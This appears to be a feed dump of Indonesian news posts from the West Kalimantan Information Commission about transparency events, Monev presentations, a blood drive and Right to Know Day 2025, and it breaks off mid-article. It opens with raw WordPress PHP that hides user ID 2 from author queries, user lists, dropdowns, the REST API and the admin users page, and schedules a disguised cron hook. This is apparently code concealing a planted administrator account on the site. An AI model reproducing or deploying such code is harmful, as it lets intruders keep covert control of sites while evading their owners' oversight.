add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Generasi Muda Kalbar Penggerak Utama Keterbukaan Informasi Publik: Diskusi Inklusif Komisi Informasi Kalbar Momentum Teguhkan Semangat Transparansi dan Kolaborasi appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Kegiatan ini menghadirkan unsur Komisi I DPRD Provinsi Kalbar yakni Zulfydar Zaidar Mochtar, S.E., M.M. (Sekretaris), H. Ishak Ali Almuthahar, S.Sos., M.Si., (Anggota) dan Bartholomeus Brama, S.I.P. (Anggota) serta Komisioner Komisi Informasi Provinsi Kalbar; M. Darusalam (Ketua), Marhasak Reinardo Sinaga (Wakil Ketua), Lufti Faurusal Hasan (Korbid Penyelesaian Sengketa Informasi), Sabinus Matius Melano (Koorbid Sosialisasi, Edukasi, dan Komunikasi Publik) dan Padmi Januarni Chendramidi (Korbid Hubungan Kelembagaan dan Tata Kelola),
Diskusi tersebut juga dihadiri para Senior/Mentor Model Kalbar; Rabuansyah Kelana (Iwan Kelana), Ershinta Siska Ananda, A.Md., dan Founder Duta HIV/AIDS Kalbar Abdullah, A.Md., hadir juga perwakilan Duta Keterbukaan Informasi Publik, Duta HIV/AIDS, Duta Anti Narkotika, Duta Bahasa, dan Puteri Indonesia Kalbar.
Melalui forum ini, peserta diajak berpartisipasi untuk memperkuat peran generasi muda sebagai agen keterbukaan informasi publik dalam rangka memperkuat Visi pemerintah provinsi Kalimantan Barat mewujudkan transparansi dan akuntabilitas dalam tata kelola pemerintahan.
Zulfydar Zaidar Mochtar, menegaskan pentingnya generasi muda memanfaatkan momentum bonus demografi 2045 dengan meningkatkan daya saing global.
“Generasi Gen Z harus menjadi kekuatan baru dalam membangun bangsa, menjaga persatuan, dan meneguhkan semangat Sumpah Pemuda. Kami mengapresiasi keterbukaan informasi yang digerakkan Komisi Informasi Kalbar, karena kebersamaan dan perdamaian adalah fondasi membangun Indonesia dan Kalimantan Barat yang lebih baik,” ujarnya.
Sementara itu, H. Ishak Ali Almuthahar menyampaikan apresiasinya terhadap penyelenggaraan diskusi yang bertepatan dengan Hari Sumpah Pemuda.
“Kegiatan ini mendorong peran aktif pemuda Kalimantan Barat dalam pembangunan daerah. Program Komisi Informasi adalah inisiatif yang andal, dan kami di DPRD, khususnya Komisi I, mendukung penuh upaya peningkatan keterbukaan informasi dan partisipasi generasi muda,” ungkapnya.
Sedangkan Bartholomeus Brama, berpesan agar generasi muda semakin cerdas menyikapi arus informasi di era digital.
“Pemuda harus memperkuat literasi digital dan mampu memfilter informasi yang akurat. Keterbukaan informasi bukan berarti kebocoran, tapi bagaimana masyarakat memahami haknya dengan tanggung jawab untuk tidak menyebarkan misinformasi,” tegasnya.
Dari kalangan duta muda, Javier Mellynia, Duta HIV/AIDS Kalbar 2020, mengaku senang bisa mengenal lebih dekat peran Komisi Informasi melalui kegiatan ini.
“Program ini menambah wawasan kami tentang hak memperoleh informasi publik, khususnya di Kalimantan Barat. Harapannya, para duta yang hadir dapat menyebarluaskan pengetahuan ini agar semakin banyak anak muda memahami pentingnya keterbukaan informasi,” ujarnya.
Sementara Iwan Kelana, Senior Mentor yang juga hadir, menilai diskusi ini sangat bermanfaat bagi pelaku industri kreatif.
“Sudah saatnya kita lebih peka terhadap keterbukaan informasi yang bisa mendukung profesi dan memberi manfaat bagi masyarakat. Kolaborasi antara Komisi Informasi Provinsi Kalbar dan para duta menjadi langkah positif untuk membangun kesadaran bersama,” katanya.
Sebagai inisiator kegiatan, Padmi Januarni Chendramidi, menjelaskan bahwa diskusi ini bertujuan menggerakkan kesadaran generasi muda terhadap pentingnya literasi dan hak atas informasi publik. “Kami ingin menumbuhkan semangat partisipatif di kalangan generasi muda agar mereka tidak hanya tahu haknya, tapi juga mampu menjadi penggerak dalam menjaga transparansi dan akuntabilitas publik,” ujarnya.
M. Darusalam, turut menyampaikan apresiasi atas dukungan dan kolaborasi lintas pihak.
“Kami berterima kasih kepada Komisi I DPRD Kalbar dan perwakilan dari komunitas duta yang hadir, semoga kedepan berkenan menjadi mitra strategis bagi KI Kalbar dalam mengampanyekan keterbukaan informasi publik di Kalbar,” tutur Darusalam.
Kegiatan ini merupakan momentum penting untuk meneguhkan kembali semangat Sumpah Pemuda khususnya dalam memperkuat gerakan keterbukaan informasi di Kalimantan Barat. #GenerasiTransparan menuju #KalbarTerbuka di mana keterbukaan informasi bukan hanya hak, tetapi juga tanggung jawab bersama untuk mewujudkan good governance yang partisipatif dan berkeadilan.
The post Generasi Muda Kalbar Penggerak Utama Keterbukaan Informasi Publik: Diskusi Inklusif Komisi Informasi Kalbar Momentum Teguhkan Semangat Transparansi dan Kolaborasi appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan ini dihadiri oleh Komisioner KI Pusat Rospita Vici Paulyn beserta Tenaga Ahli KI Pusat Annie Londa, Asisten Ahli Nurul Aderahma, jajaran Komisioner KI Provinsi Kalimantan Barat M. Darusalam (Ketua), Marhasak Reinardo Sinaga (Wakil Ketua), Lufti Faurusal Hasan (KorBid Penyelesaian Sengketa Informasi), Padmi J. Chendramidi (KorBid Hubungan Kelembagaan dan Tata Kelola), serta Sabinus Matius Melano (KorBid Sosialisasi, Edukasi, dan Komunikasi Publik). Turut hadir Uslan, S.Sos., M.M. selaku PLH Kadiskominfo Prov. Kalbar serta Widha Anistya Suwarso, S.IP., MA., dosen Ilmu Komunikasi FISIP Universitas Tanjungpura.
Dalam kegiatan tersebut, Komisioner KI Pusat Rospita Vici Paulyn atau yang akrab disapa Vici menjelaskan bahwa penyusunan pedoman data dan fakta ini merupakan langkah penting untuk memperkuat metodologi dan konsistensi pengukuran IKIP di seluruh Indonesia.
“Hari ini Komisi Informasi Pusat melakukan penyusunan panduan untuk data dan fakta keterbukaan informasi dalam pelaksanaan pengukuran indeks keterbukaan informasi seluruh Indonesia. Data dan fakta ini akan menjadi panduan untuk tahun 2026,” ujar Vici.
Lebih lanjut, ia menjelaskan dipihnya Kalimantan Barat untuk penyusunan pedoman tersebut karena
“Kalimantan Barat menjadi salah satu dari tiga provinsi yang mampu menyajikan data dan fakta dengan baik dalam penyusunan IKIP 2025. Harapannya, pedoman yang disusun di sini dapat menjadi panduan bagi provinsi di seluruh Indonesia dalam penyusunan IKIP tahun 2026,” ungkapnya.
Vici juga menegaskan bahwa pedoman ini akan menjadi dasar bagi KI Pusat dalam menilai sejauh mana implementasi keterbukaan informasi publik telah dilaksanakan oleh pemerintah daerah, mulai dari tingkat provinsi hingga desa.
“Undang-Undang Keterbukaan Informasi Publik sudah berlaku 15 tahun. Artinya, implementasinya seharusnya sudah berjalan maksimal, tidak hanya di tingkat provinsi tetapi juga hingga kabupaten, kota, dan desa,” tambahnya.
Menurutnya, Kalimantan Barat merupakan salah satu provinsi yang menunjukkan kinerja baik dalam pelaksanaan keterbukaan informasi publik. “Komisi Informasi Kalimantan Barat melakukan monitoring tidak hanya di tingkat provinsi, tetapi juga hingga kabupaten, kota, dan bahkan desa. Ini bisa menjadi contoh baik bagi daerah lain,” puji Vici.
Dalam kesempatan tersebut, Vici juga memberikan apresiasi kepada Komisi Informasi Provinsi Kalimantan Barat atas inisiatifnya mengangkat tema ‘Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera’ dalam rangka peringatan Hari Hak untuk Tahu Sedunia (Right to Know Day).
“Saya mengapresiasi KI Kalbar yang mengusung tema keterbukaan informasi hijau. Ini menunjukkan kepedulian terhadap keterbukaan informasi di bidang lingkungan hidup. Tata kelola hutan, lahan, dan lingkungan adalah persoalan serius karena masih banyak badan publik yang belum terbuka,” tegasnya.
Ia mengajak seluruh badan publik di Kalimantan Barat untuk semakin transparan dalam memberikan akses informasi kepada masyarakat.
“Untuk itu, kepada seluruh badan publik di Kalbar, ayo terbuka! Berikan hak akses masyarakat atas informasi publik. Dan kepada seluruh masyarakat Kalbar, ayo peduli, gunakan hak akses Anda atas informasi publik,” tuturnya.
Sementara itu, Ketua KI Provinsi Kalimantan Barat M. Darusalam menyampaikan apresiasinya atas kehadiran KI Pusat dan memilih Kalimantan Barat dalam pelaksanaan Rapat Koordinasi penyusunan pedoman data dan fakta IKIP 2025. “Kami mengucapkan terima kasih atas berbagai saran dan masukan dalam diskusi penyusunan pedoman data dan fakta IKIP ini. Semoga menjadi panduan bagi KI Kalbar dalam penyusunan IKIP 2026 yang lebih baik, sehingga dapat memberikan hasil yang lebih maksimal,” ujar Bung Darsa.
Ia juga menekankan bahwa keterbukaan informasi publik adalah bagian penting dari upaya meningkatkan kesejahteraan masyarakat melalui transparansi.
“Harapan kami, badan publik dapat memberikan akses informasi yang optimal pada masyarakat melalui kanal-kanal digital yang memungkinkan masyarakat dalam mengakses informasi dengan mudah,” jelasnya.
Melalui momentum Right to Know Day 2025, Bung Darsa mengingatkan tema peringatan “Keterbukaan Informasi Hijau untuk Kalbar Sejahtera”.
“Kami berharap keterbukaan informasi hijau, terutama terkait tata kelola lahan, lingkungan, dan agraria, dapat mendorong kesejahteraan masyarakat Kalbar dengan lebih berdaya dalam mengelola sumber daya alamnya secara baik sesuai peruntukan yang telah ditetapkan,” tutup Bung Darsa.
Rapat koordinasi ini menjadi tonggak penting bagi penguatan keterbukaan informasi publik tidak hanya bagi Kalbar namun juga bagi Indonesia. Dipilihnya Kalbar sebagai contoh dalam penyajian data dan fakta penyusunan IKIP 2025 semoga memberikan dampak terhadap penguatan tata kelola pemerintahan yang informatif kedepan.
#KI KalBar #KIPusat #InformasiHijau #KeterbukaanInformasiPublik #GoodGovernance #Transparansi #Pontianak #Kalbar
The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Kalbar Hadiri Rakor Indeks Demokrasi Indonesia 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Kegiatan yang berlangsung pada Selasa, 7 Oktober 2025 di Azalea Room, Orchadz Ayani Hotel Pontianak ini menghadirkan narasumber Ibu Kartika Mulia Sari, S.STP, MA Analis Kebijakan Ahli Madya Direktorat Politik Dalam Negeri, Ditjen Polpum Kementerian Dalam Negeri, bapak Muh Saichudin, S.Si., M.Si Kepala BPS Provinsi Kalimantan Barat dan bapak Drs. H. Manto, M.Si Kaban Kesbangpol Provinsi Kalimantan Barat. Kegiatan dibuka oleh Staf Ahli Gubernur bidang hukum dan politik Ibu Dra. Natalia Karyawati, ME yang mewakili Gubernur kalimantan barat.
Rapat Koordinasi ini diharapkan dapat mengevaluasi Pencapaian IDI Kalimantan Barat dari IDI 2023 yang semula menempati peringkat 7 (tujuh) nasional dengan nilai indeks 81,69 poin menjadi urutan ke 3 (tiga) nasional dengan nilai indeks sebesar 86.17 poin, yang berada pada kategori “tinggi” serta mengidentifikasi berbagai persoalan yang mempengaruhi penurunan maupun peningkatan skor, serta merumuskan langkah-langkah strategis untuk memperkuat pilar-pilar demokrasi di daerah kalbar.
Kepala Badan Kesbangpol Provinsi Kalimantan Barat, Drs. Manto, menegaskan bahwa Indeks Demokrasi Indonesia (IDI) merupakan instrumen penting untuk mengukur kualitas demokrasi di tingkat nasional maupun daerah. Ia menjelaskan bahwa kegiatan ini bertujuan mengevaluasi capaian IDI sebelumnya serta menindaklanjuti Instruksi Menteri Dalam Negeri Nomor 1 Tahun 2024 tentang penyusunan rencana pembangunan jangka panjang daerah 2025–2045.
Menurutnya, peningkatan kualitas demokrasi daerah menjadi salah satu target penting dalam dokumen perencanaan pembangunan nasional. Ia menekankan perlunya data yang valid dan terintegrasi sebagai dasar penilaian IDI.
Manto berharap penyamaan persepsi dalam penilaian IDI tahun 2025 dapat menghasilkan skor yang lebih baik seperti capaian tahun sebelumnya. Rapat koordinasi ini diikuti oleh berbagai pihak, antara lain Kelompok Kerja IDI Kalbar, unsur pemerintah, partai politik, media, dan organisasi kemasyarakatan, dengan narasumber dari Kementerian Dalam Negeri, BPS, dan Kesbangpol Kalbar.
Rakor ini menjadi forum strategis untuk memperkuat pilar-pilar demokrasi serta meningkatkan capaian IDI Kalimantan Barat di tingkat nasional.
The post Komisi Informasi Kalbar Hadiri Rakor Indeks Demokrasi Indonesia 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Penilaian Video Presentasi Badan Publik Oleh Tim Penilai MONEV 2025: Tahap Akhir Presentasi MONEV 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Penilaian ini merupakan bagian dari tahapan akhir pelaksanaan Monev 2025 sebelum dilaksanakannya pleno penetapan hasil akhir. Dalam kegiatan tersebut, tim penilai menilai penyampaian pelaksanaan keterbukaan informasi publik yang disampaikan oleh masing-masing badan publik melalui video presentasi.
Tim penilai terdiri dari unsur Komisioner Komisi Informasi Provinsi Kalimantan Barat dan PPID Utama Diskominfo Provinsi Kalbar, yaitu:
1. M. Darusalam (Ketua KI KalBar),
2. Marhasak Reinardo Sinaga (Wakil Ketua KI KalBar),
3. Lufti Faurusal Hasan (Koordinator Bidang Penyelesaian Sengketa Informasi KI KalBar),
4. Padmi J. Chendramidi (Koordinator Bidang Hubungan Kelembagaan dan Tata Kelola KI KalBar),
5. Sabinus Matius Melano (Koordinator Bidang Sosialisasi, Edukasi, dan Komunikasi Publik KI KalBar),
6. Uslan (Kabid Informasi Publik Diskominfo Kalbar).
Adapun badan publik yang dinilai dalam tahapan penilaian video presentasi kali ini terdiri dari 7 Organisasi Perangkat Daerah (OPD) dari pemerintah kabupaten/kota se-Kalimantan Barat serta 19 pemerintah desa dari berbagai wilayah di Kalbar.
Tahap penilaian ini menjadi langkah penting untuk memperkuat budaya transparansi, akuntabilitas, serta peningkatan kualitas pelayanan informasi publik kepada masyarakat. Melalui kegiatan ini, diharapkan setiap badan publik dapat terus berkomitmen dalam mewujudkan tata kelola pemerintahan yang terbuka dan responsif terhadap kebutuhan informasi masyarakat.
The post Penilaian Video Presentasi Badan Publik Oleh Tim Penilai MONEV 2025: Tahap Akhir Presentasi MONEV 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Komisi Informasi Provinsi Kalbar Dukung Donor Darah DPD RI KalBar, Antusiasme Peserta Melebihi Target appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Wakil Ketua Komisi Informasi Provinsi Kalbar, Marhasak Reinardo Sinaga, S.H., yang hadir bersama Sabinus Matius Melano, S.P. menyampaikan apresiasi atas terselenggaranya kegiatan tersebut. “Terima kasih atas undangan yang diberikan kepada kami. Saya bersama Pak Sabinus mewakili Komisi Informasi ikut serta dalam donor darah ini. Kami melihat kegiatan ini tidak hanya menjadi ajang silaturahmi antara berbagai pihak, tetapi juga memberi akses positif bagi masyarakat untuk meningkatkan kepedulian sosial. Satu tetes darah bisa menyelamatkan nyawa manusia. Selain itu, donor darah ini juga merupakan wujud keterbukaan informasi publik karena diumumkan melalui media sosial dan melibatkan Komisi Informasi sebagai lembaga yang berfokus pada keterbukaan informasi. Kami sangat menyambut baik dan memberikan apresiasi positif,” ungkapnya.
Kepala Kantor DPD RI Provinsi Kalbar, Elis Nurdian, S.I.Kom, menyampaikan bahwa antusiasme masyarakat sangat tinggi hingga melebihi target. “Alhamdulillah, kegiatan donor darah ini jauh melampaui target. Dari target 100 pendonor, tercatat ada sekitar 200 pendaftar. Setelah proses seleksi, total 115 orang berhasil mendonorkan darahnya. Bingkisan yang kami siapkan semula hanya 100 paket, namun kami tambah dengan 15 cadangan darurat. Antusiasme ini sungguh di luar dugaan kami,” ujarnya.
Elis juga menambahkan bahwa kegiatan donor darah ini merupakan tahun ketiga pelaksanaan setelah sempat vakum pada 2024. “Kami sangat berterima kasih atas dukungan penuh dari berbagai pihak, termasuk Komisi Informasi Provinsi Kalbar yang ikut berpartisipasi. Kerja sama ini sungguh luar biasa,” tambahnya.
Partisipasi Komisi Informasi Provinsi Kalimantan Barat dalam kegiatan ini menegaskan komitmennya untuk terus hadir di tengah masyarakat, tidak hanya dalam fungsi utamanya terkait keterbukaan informasi publik, tetapi juga dalam mendukung aksi sosial yang bermanfaat luas bagi masyarakat.
Melalui kegiatan donor darah ini, diharapkan semakin banyak masyarakat yang tergerak untuk peduli terhadap sesama, karena setiap tetes darah yang didonorkan sangat berarti bagi mereka yang membutuhkan.
The post Komisi Informasi Provinsi Kalbar Dukung Donor Darah DPD RI KalBar, Antusiasme Peserta Melebihi Target appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Presentasi Monev Keterbukaan Informasi BUMD Se-Kalbar 2025: Dorong Transparansi dan Peningkatan Layanan Publik. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Adapun badan publik yang tampil dalam kegiatan tersebut terdiri dari tiga sesi presentasi. Pada sesi pertama, Perumda Air Minum Tirta Melawi Kabupaten Melawi dan Perumda Air Minum Tirta Pancur Aji Kabupaten Sanggau menjadi pemapar. Sesi kedua diisi oleh Perumda Air Minum Tirta Raya Kabupaten Kubu Raya. Sementara itu, sesi ketiga menghadirkan PT. Bank Pembangunan Daerah Kalimantan Barat, Perumda Aneka Usaha Provinsi Kalimantan Barat, serta Perumda BPR Khatulistiwa Pontianak.
Kegiatan ini juga turut melibatkan observer dari unsur eksternal, yaitu Ketua JMSI Pengda Kalbar, Edi Suhairul, dan General Manager KSP CU Khatulistiwa Bakti, Augustinus Satyawan, S.T. Kehadiran mereka diharapkan dapat memberikan perspektif independen mengenai keterbukaan informasi publik di lingkungan BUMD Kalbar.
Ketua JMSI Pengda Kalbar, Edi Suhairul, menyampaikan apresiasi kepada Komisi Informasi yang telah melibatkan JMSI dalam kegiatan Monev. Ia menekankan pentingnya keterbukaan informasi bagi BUMD, khususnya yang menyangkut layanan dasar masyarakat.
“Keterbukaan informasi publik merupakan hak masyarakat yang wajib dipenuhi oleh badan publik, termasuk BUMD. Sebagai perusahaan daerah, BUMD punya kewajiban untuk terus meningkatkan transparansi sesuai regulasi sekaligus memperbaiki layanan kepada masyarakat. Khususnya bagi BUMD air minum, transparansi itu sangat krusial karena air adalah kebutuhan dasar, sehingga masyarakat berhak mendapatkan layanan maksimal sekaligus mengetahui progres kinerja perusahaan. Kami melihat ada peningkatan positif, tetapi upaya ini tetap harus terus ditingkatkan hingga mencapai standar optimal,” ujarnya.
Sementara itu, General Manager KSP CU Khatulistiwa Bakti, Augustinus Satyawan, S.T., juga memberikan pandangannya.
“Saya mengapresiasi pelaksanaan kegiatan ini sebagai pengalaman pertama menjadi observer dalam Monev keterbukaan informasi publik. Langkah yang dilakukan Komisi Informasi Provinsi Kalbar sangat positif karena masyarakat sebagai bagian penting pembangunan daerah berhak mengetahui kontribusi BUMD terhadap kesejahteraan bersama. Presentasi ini tidak hanya menjadi ruang penilaian, tetapi juga sarana refleksi dan evaluasi bagi BUMD untuk memperbaiki kinerja, meningkatkan transparansi, dan memperluas manfaat bagi masyarakat,” ungkapnya.
Wakil Ketua Komisi Informasi Provinsi Kalbar, Marhasak Reinardo Sinaga, menegaskan bahwa Monev keterbukaan informasi publik bukan sekadar kewajiban administratif, tetapi bagian penting dari pembangunan tata kelola perusahaan dan pemerintahan yang baik. “Monev keterbukaan informasi publik bukan sekadar kewajiban administratif, tetapi bagian penting dari pembangunan tata kelola perusahaan dan pemerintahan yang baik. Keterbukaan informasi harus menjadi budaya di setiap badan publik, termasuk BUMD, karena dengan transparansi kepercayaan masyarakat akan meningkat. Kepercayaan inilah yang pada akhirnya mendukung kinerja sekaligus keberlanjutan perusahaan daerah. Saya berharap hasil evaluasi ini menjadi momentum bagi BUMD di Kalbar untuk konsisten menjalankan kewajiban keterbukaan informasi sekaligus memperkuat perbaikan berkelanjutan,” tegasnya.
Melalui kegiatan ini, KI Kalbar berharap keterbukaan informasi publik di lingkungan BUMD semakin optimal, sehingga mendorong peningkatan layanan publik sekaligus memperkuat kontribusi BUMD terhadap pembangunan ekonomi daerah.
The post Presentasi Monev Keterbukaan Informasi BUMD Se-Kalbar 2025: Dorong Transparansi dan Peningkatan Layanan Publik. appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post BUMD Se-Kalbar Ikuti Presentasi Monev Keterbukaan Informasi Publik 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Pelaksanaan presentasi dibagi menjadi tiga sesi. Pada sesi pertama, tampil Perumda Air Minum Tirta Khatulistiwa Kota Pontianak. Sesi kedua diikuti oleh Perumda Air Minum Gunung Poteng Kota Singkawang dan Perumda Air Minum Muare Ulakan Kabupaten Sambas. Sedangkan pada sesi ketiga, hadir Perumda Air Minum Tirta Bengkayang Kabupaten Bengkayang, Perumda Air Minum Tirta Galaherang Kabupaten Mempawah, dan Perumda Air Minum Tirta Landak Kabupaten Landak.
Selain peserta dari BUMD, kegiatan ini juga dihadiri oleh unsur eksternal sebagai observer, yaitu Aries Munandar dari Majelis Anggota Jari Borneo Barat. Dalam pandangannya, Aries menegaskan bahwa keterbukaan informasi publik merupakan kewajiban konstitusi sebagaimana diamanatkan dalam Undang-Undang Nomor 14 Tahun 2008.
“Setiap badan publik, termasuk BUMD, wajib transparan karena melaksanakan pelayanan publik sekaligus menggunakan anggaran publik, sehingga perlu mempertanggungjawabkan pengelolaannya secara terbuka. Keterbukaan informasi tidak dapat dipisahkan dari upaya meningkatkan kualitas badan publik serta mewujudkan tata kelola yang baik,” ujar Aries.
Ia menambahkan, dari kegiatan presentasi Monev ini terlihat adanya capaian yang bervariasi, mulai dari yang sudah menunjukkan progres signifikan hingga yang masih dalam tahap penyesuaian. Namun, menurutnya hal terpenting adalah adanya semangat perbaikan berkelanjutan. “Proses Monev bukan untuk saling menjatuhkan, melainkan sebagai sarana evaluasi guna mendorong peningkatan kualitas pelayanan dan keterbukaan informasi publik di lingkungan BUMD,” tegasnya.
Sementara itu, Wakil Ketua Komisi Informasi Provinsi Kalimantan Barat, Marhasak Reinardo Sinaga, menyampaikan bahwa kegiatan ini merupakan bagian dari komitmen Komisi Informasi dalam memastikan prinsip transparansi dan akuntabilitas berjalan di setiap badan publik.
“Monev keterbukaan informasi ini bukan hanya sekadar kewajiban administrasi, tetapi juga instrumen penting untuk mengukur sejauh mana badan publik, khususnya BUMD, mampu membangun kepercayaan masyarakat. Kepercayaan itu lahir ketika publik merasa dilibatkan dan mendapatkan akses informasi yang jelas, cepat, dan benar,” ungkap Marhasak.
Ia menekankan bahwa Komisi Informasi akan terus mendorong kolaborasi, pendampingan, dan penguatan kapasitas BUMD agar mampu memenuhi standar keterbukaan informasi. “Harapan kami, hasil Monev ini dapat menjadi cermin dan motivasi bagi setiap BUMD untuk terus meningkatkan kualitas pelayanan sekaligus menjaga integritas pengelolaan anggaran publik,” tambahnya.
Kegiatan presentasi Monev ini akan berlanjut dengan tahapan penilaian. Hasil akhir akan diumumkan pada penganugerahan nanti sebagai bagian dari pemeringkatan keterbukaan informasi publik se-Kalimantan Barat.
The post BUMD Se-Kalbar Ikuti Presentasi Monev Keterbukaan Informasi Publik 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).
Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.
Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.
Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.
Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.
Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.
Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:
“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”
Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.
Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.
Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.
Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!
The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Kabupaten/Kota se-Kalbar Paparkan Komitmen Transparansi Dalam Presentasi Monev Keterbukaan Informasi 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan presentasi ini terbagi ke dalam tiga sesi dengan menampilkan tujuh kabupaten. Pada sesi pertama tampil Pemerintah Kabupaten Sekadau dan Sanggau, disusul sesi kedua oleh Pemerintah Kabupaten Kayong Utara dan Ketapang, serta ditutup sesi ketiga dengan presentasi dari Pemerintah Kabupaten Sintang, Melawi, dan Kapuas Hulu.
Sejumlah pimpinan daerah turut hadir dalam kegiatan ini, di antaranya Bupati Sanggau Drs. Yohanes Ontot, M.Si, Wakil Bupati Kayong Utara Amru Chanwari, Wakil Bupati Sintang Florensius Ronny, Wakil Bupati Melawi Malin, SH., serta Sekda Kapuas Hulu Drs. Mohd. Zaini, M.M. Mereka didampingi jajaran Dinas Komunikasi dan Informatika masing-masing, termasuk Kadis Kominfo Sanggau Joni Irwanto, Kadis Kominfo Sekadau Matius Jon, S.Pd., M.Si, Kadis Kominfo Ketapang Doni Andriawan, S.STP., M.E., Kadis Kominfo Kayong Utara Ronny Iswandi, Kadis Kominfo Sintang Drs. Paulinus, M.si., Kadis Kominfo Kapuas Hulu Hadi Pranata, S.STP., M.Si., dan dari Melawi yang membersamai pak wakil bupati ada Kabid Pengelolaan Informasi Publik dan Komunikasi Publik Konstantinus Borong, S.S. Selain unsur pemerintah, hadir pula observer dari eksternal, yakni Wapemred Ruai TV Pontianak Eva Caroline dan aktivis Lembaga ELPagar Fubertus Ipur.
